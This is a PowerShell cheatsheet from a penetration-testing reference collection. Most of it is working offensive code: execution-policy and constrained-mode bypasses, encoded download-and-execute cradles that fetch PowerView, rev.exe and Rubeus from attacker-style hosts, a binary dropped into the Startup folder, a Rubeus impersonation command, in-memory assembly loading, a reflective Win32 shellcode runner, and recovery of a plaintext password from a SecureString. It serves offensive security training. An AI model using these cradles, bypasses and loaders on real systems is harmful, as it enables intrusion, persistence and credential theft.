powershell-cheatsheet.md (16737B)
1 --- 2 title: "Powershell" 3 section: "Cheatsheets" 4 sectionSlug: "cheatsheets" 5 sourcePath: "docs/cheatsheets/powershell-cheatsheet.md" 6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/cheatsheets/powershell-cheatsheet.md" 7 sha: "203bb0c0b290" 8 isIndex: false 9 --- 10 11 # Powershell 12 13 ## Summary 14 15 - [Powershell](#powershell) 16 - [Summary](#summary) 17 - [Execution Policy](#execution-policy) 18 - [Encoded Commands](#encoded-commands) 19 - [Constrained Mode](#constrained-mode) 20 - [Encoded Commands](#encoded-commands) 21 - [Download file](#download-file) 22 - [Load Powershell scripts](#load-powershell-scripts) 23 - [Load C# assembly reflectively](#load-c-assembly-reflectively) 24 - [Call Win API using delegate functions with Reflection](#call-win-api-using-delegate-functions-with-reflection) 25 - [Resolve address functions](#resolve-address-functions) 26 - [DelegateType Reflection](#delegatetype-reflection) 27 - [Example with a simple shellcode runner](#example-with-a-simple-shellcode-runner) 28 - [Secure String to Plaintext](#secure-string-to-plaintext) 29 - [References](#references) 30 31 ## Execution Policy 32 33 ```ps1 34 powershell -EncodedCommand $encodedCommand 35 powershell -ep bypass ./PowerView.ps1 36 37 # Change execution policy 38 Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted 39 Set-ExecutionPolicy Bypass -Scope Process 40 ``` 41 42 ## Constrained Mode 43 44 ```ps1 45 # Check if we are in a constrained mode 46 # Values could be: FullLanguage or ConstrainedLanguage 47 $ExecutionContext.SessionState.LanguageMode 48 49 ## Bypass 50 powershell -version 2 51 ``` 52 53 ## Encoded Commands 54 55 - Windows 56 57 ```ps1 58 $command = 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")' 59 $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) 60 $encodedCommand = [Convert]::ToBase64String($bytes) 61 ``` 62 63 - Linux: :warning: UTF-16LE encoding is required 64 65 ```ps1 66 echo 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")' | iconv -t utf-16le | base64 -w 0 67 ``` 68 69 ## Download file 70 71 ```ps1 72 # Any version 73 (New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerView.ps1", "C:\Windows\Temp\PowerView.ps1") 74 wget "http://10.10.10.10/taskkill.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" 75 Import-Module BitsTransfer; Start-BitsTransfer -Source $url -Destination $output 76 77 # Powershell 4+ 78 IWR "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe" 79 Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe" 80 ``` 81 82 ## Load Powershell scripts 83 84 ```ps1 85 # Proxy-aware 86 IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1') 87 echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1') | powershell -noprofile - 88 powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.10.10.10/PowerView.ps1')|iex" 89 90 # Non-proxy aware 91 $h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.10.10/PowerView.ps1',$false);$h.send();iex $h.responseText 92 ``` 93 94 ## Load C# assembly reflectively 95 96 ```powershell 97 # Download and run assembly without arguments 98 $data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe') 99 $assem = [System.Reflection.Assembly]::Load($data) 100 [rev.Program]::Main() 101 102 # Download and run Rubeus, with arguments (make sure to split the args) 103 $data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe') 104 $assem = [System.Reflection.Assembly]::Load($data) 105 [Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split()) 106 107 # Execute a specific method from an assembly (e.g. a DLL) 108 $data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll') 109 $assem = [System.Reflection.Assembly]::Load($data) 110 $class = $assem.GetType("ClassLibrary1.Class1") 111 $method = $class.GetMethod("runner") 112 $method.Invoke(0, $null) 113 ``` 114 115 ## Call Win API using delegate functions with Reflection 116 117 ### Resolve address functions 118 119 To perform reflection we first need to obtain `GetModuleHandle` and `GetProcAdresse` to be able to lookup of Win32 API function addresses. 120 121 To retrieve those function we will need to find out if there are included inside the existing loaded Assemblies. 122 123 ```powershell 124 # Retrieve all loaded Assemblies 125 $Assemblies = [AppDomain]::CurrentDomain.GetAssemblies() 126 127 Iterate over all the Assemblies, to retrieve all the Static and Unsafe Methods 128 $Assemblies | 129 ForEach-Object { 130 $_.GetTypes()| 131 ForEach-Object { 132 $_ | Get-Member -Static| Where-Object { 133 $_.TypeName.Contains('Unsafe') 134 } 135 } 2> $nul l 136 ``` 137 138 We want to find where the Assemblies are located, so we will use the statement `Location`. Then we will look for all the methods inside the Assembly `Microsoft.Win32.UnsafeNativeMethods` 139 TBN: `GetModuleHandle` and `GetProcAddress` are located in `C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll` 140 141 If we want to use those function we need in a first time get a reference to the .dll file we need the object to have the property `GlobalAssemblyCache` set (The Global Assembly Cache is essentially a list of all native and registered assemblies on Windows, which will allow us to filter out non-native assemblies). The second filter is to retrieve the `System.dll`. 142 143 ```powershell 144 $systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { 145 $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') 146 }) 147 148 $unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods') 149 ``` 150 151 To retrieve the method `GetModuleHandle`, we can use the method `GetMethod(<METHOD_NAME>)` to retrieve it. 152 `$GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle')` 153 154 Now we can use the `Invoke` method of our object `$GetModuleHandle` to get a reference of an unmanaged DLL. 155 Invoke takes two arguments and both are objects: 156 157 - The first argument is the object to invoke it on but since we use it on a static method we may set it to "$null". 158 - The second argument is an array consisting of the arguments for the method we are invoking (GetModuleHandle). Since the Win32 API only takes the name of the DLL as a string we only need to supply that. 159 `$GetModuleHandle.Invoke($null, @("user32.dll"))` 160 161 However, we want to use the same method to use the function `GetProcAddress`, it won't work due to the fact that our `System.dll` object retrieved contains multiple occurences of the method `GetProcAddress`. Therefore the internal method `GetMethod()` will throw an error `"Ambiguous match found."`. 162 163 Therefore we will use the method `GetMethods()` to get all the available methods and then iterate over them to retrieve only those we want. 164 165 ```powershell 166 $unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}} 167 ``` 168 169 If we want to get the `GetProcAddress` reference, we will construct an array to store our matching object and use the first entry. 170 171 ```powershell 172 $unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} 173 $GetProcAddress = $tmp[0] 174 ``` 175 176 We need to take the first one, because the arguments type of the second one does not match with ours. 177 178 Alternatively we can use `GetMethod` function to precise the argument types that we want. 179 180 ```powershell 181 $GetProcAddress = $unsafeObj.GetMethod('GetProcAddress', 182 [reflection.bindingflags]'Public,Static', 183 $null, 184 [System.Reflection.CallingConventions]::Any, 185 @([System.IntPtr], [string]), 186 $null); 187 ``` 188 189 cf: [https://learn.microsoft.com/en-us/dotnet/api/system.type.getmethod?view=net-7.0](https://learn.microsoft.com/en-us/dotnet/api/system.type.getmethod?view=net-7.0) 190 191 Now we have everything to resolve any function address we want. 192 193 ```powershell 194 $user32 = $GetModuleHandle.Invoke($null, @("user32.dll")) 195 $tmp=@() 196 $unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} 197 $GetProcAddress = $tmp[0] 198 $GetProcAddress.Invoke($null, @($user32, "MessageBoxA")) 199 ``` 200 201 If we put everything in a function: 202 203 ```powershell 204 function LookupFunc { 205 206 Param ($moduleName, $functionName) 207 208 $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') 209 $tmp=@() 210 $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} 211 return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) 212 } 213 ``` 214 215 ### DelegateType Reflection 216 217 To be able to use the function that we have retrieved the address, we need to pair the information about the number of arguments and their associated data types with the resolved function memory address. This is done through `DelegateType`. 218 The DelegateType Reflection consists in manually create an assembly in memory and populate it with content. 219 220 The first step is to create a new assembly with the class `AssemblyName` and assign it a name. 221 222 ```powershell 223 $MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') 224 ``` 225 226 Now we want to set permission on our Assembly. We need to set it to executable and to not be saved to the disk. For that the method `DefineDynamicAssembly` will be used. 227 228 ```powershell 229 $Domain = [AppDomain]::CurrentDomain 230 $MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) 231 ``` 232 233 Now that everything is set, we can start creating content inside our assembly. First, we will need to create the main building block which is a Module. This can be done through the method `DefineDynamicModule` 234 The method need a custom name as the first argument and a boolean indicating if we want to include symbols or not. 235 236 ```powershell 237 $MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) 238 ``` 239 240 The next step consists by creating a custom type that will become our delegate type. It can be done with the method `DefineType`. 241 The arguments are: 242 243 - a custom name 244 - the attributes of the type 245 - the type it build on top of 246 247 ```powershell 248 $MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 249 ``` 250 251 Then we will need to set the prototype of our function. 252 First we need to use the method `DefineConstructor` to define a constructor. The method takes three arguments: 253 254 - the attributes of the constructor 255 - calling convention 256 - the parameter types of the constructor that will become the function prototype 257 258 ```powershell 259 $MyConstructorBuilder = $MyTypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', 260 [System.Reflection.CallingConventions]::Standard, 261 @([IntPtr], [String], [String], [int])) 262 ``` 263 264 Then we need to set some implementation flags with the method `SetImplementationFlags`. 265 266 ```powershell 267 $MyConstructorBuilder.SetImplementationFlags('Runtime, Managed') 268 ``` 269 270 To be able to call our function, we need to define the `Invoke` method in our delegate type. For that the method `DefineMethod` allows us to do that. 271 The method takes four arguments: 272 273 - name of the method defined 274 - method attributes 275 - return type 276 - array of argument types 277 278 ```powershell 279 $MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke', 280 'Public, HideBySig, NewSlot, Virtual', 281 [int], 282 @([IntPtr], [String], [String], [int])) 283 ``` 284 285 If we put everything in a function: 286 287 ```powershell 288 function Get-Delegate 289 { 290 Param ( 291 [Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, # Function address 292 [Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, # array with the argument types 293 [Parameter(Position = 2)] [Type] $retType = [Void] # Return type 294 ) 295 296 $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). 297 DefineDynamicModule('QM', $false). 298 DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 299 $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed') 300 $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed') 301 $delegate = $type.CreateType() 302 303 return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate) 304 } 305 ``` 306 307 ### Example with a simple shellcode runner 308 309 ```powershell 310 # Create a Delegate function to be able to call the function that we have the address 311 function Get-Delegate 312 { 313 Param ( 314 [Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, # Function address 315 [Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, # array with the argument types 316 [Parameter(Position = 2)] [Type] $retType = [Void] # Return type 317 ) 318 319 $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). 320 DefineDynamicModule('QM', $false). 321 DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 322 $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed') 323 $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed') 324 $delegate = $type.CreateType() 325 326 return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate) 327 } 328 # Allow to retrieve function address from a dll 329 function LookupFunc { 330 331 Param ($moduleName, $functionName) 332 333 $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') 334 $tmp=@() 335 $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} 336 return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) 337 } 338 339 # Simple Shellcode runner using delegation 340 $VirtualAllocAddr = LookupFunc "Kernel32.dll" "VirtualAlloc" 341 $CreateThreadAddr = LookupFunc "Kernel32.dll" "CreateThread" 342 $WaitForSingleObjectAddr = LookupFunc "Kernel32.dll" "WaitForSingleObject" 343 344 345 $VirtualAlloc = Get-Delegate $VirtualAllocAddr @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) 346 $CreateThread = Get-Delegate $CreateThreadAddr @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) 347 $WaitForSingleObject = Get-Delegate $WaitForSingleObjectAddr @([IntPtr], [Int32]) ([Int]) 348 349 [Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0 ... 350 351 $mem = $VirtualAlloc.Invoke([IntPtr]::Zero, $buf.Length, 0x3000, 0x40) 352 [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $mem, $buf.Length) 353 $hThread = $CreateThread.Invoke([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [IntPtr]::Zero) 354 $WaitForSingleObject.Invoke($hThread, 0xFFFFFFFF) 355 356 ``` 357 358 ## Secure String to Plaintext 359 360 ```ps1 361 $pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring 362 $user = "HTB\Tom" 363 $cred = New-Object System.management.Automation.PSCredential($user, $pass) 364 $cred.GetNetworkCredential() | fl 365 UserName : Tom 366 Password : 1ts-mag1c!!! 367 SecurePassword : System.Security.SecureString 368 Domain : HTB 369 ``` 370 371 ## References 372 373 - [Windows & Active Directory Exploitation Cheat Sheet and Command Reference - @chvancooten](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/) 374 - [Basic PowerShell for Pentesters - HackTricks](https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters)